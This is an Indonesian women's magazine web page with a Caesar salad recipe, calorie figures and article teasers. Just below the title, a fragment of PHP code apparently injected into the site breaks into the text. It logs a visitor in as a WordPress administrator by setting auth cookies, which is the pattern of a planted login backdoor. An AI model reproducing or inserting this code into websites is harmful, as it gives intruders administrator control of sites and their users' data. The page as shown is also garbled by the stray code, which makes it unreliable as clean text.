Caesar Salad Berenergi

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Health & Diet

18 Nov 2011

Capek, lesu, mengantuk di tengah hari kerja, tentulah tak menyenangkan. Bila ditambah mood makan siang sedang rendah, masalah bisa berlipat ganda. Apalagi bila Anda tidak ingin timbangan Anda naik. Padahal, Anda butuh energi untuk menyelesaikan pekerjaan, namun belum-belum perut sudah terasa penuh. Padahal, Anda tetap perlu makan siang, bukan? Sebagai wanita aktif, Anda perlu 800 - 900 kalori untuk setiap makan siang (40% dari kebutuhan total 2.100 kalori setiap hari).

Anda bisa menikmati caesar salad sebagai makan siang Anda. Tak perlu khawatir caesar salad tidak dapat memenuhi kebutuhan kalori Anda. Dengan menambahkan sedikit saja bahan pangan lain, voila… caesar salad Andabisa menjadi energy boost!

Caesar Salad
Isi :
- Aneka jenis daun selada, biasanya lettuce dan romaine
- Smoke beef
- Keju parmesan
- Anchovie (atau teri medan)
- telur

Dressing:
Minyak zaitun, yoghurt sesuai selera, air perasan jeruk lemon, bawang putih, saus Inggris (sesuai selera), garam, merica.
Pelengkap: Crouton (roti panggang)

Tambahan sedap!
Pilihan:
-   Kentang goreng/mashed potato 100 g (+ 500 kalori)
-   Manisan plum 50 g (410 kalori)
-   Avokad 250 g - 480 kalori

Kalori per porsi:
Sebelum: 318
Sesudah ditambah: + 800 (f)

Mau tahu berapa kalori yang Anda dapatkan dari sarapan Anda? Cek di sini!

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id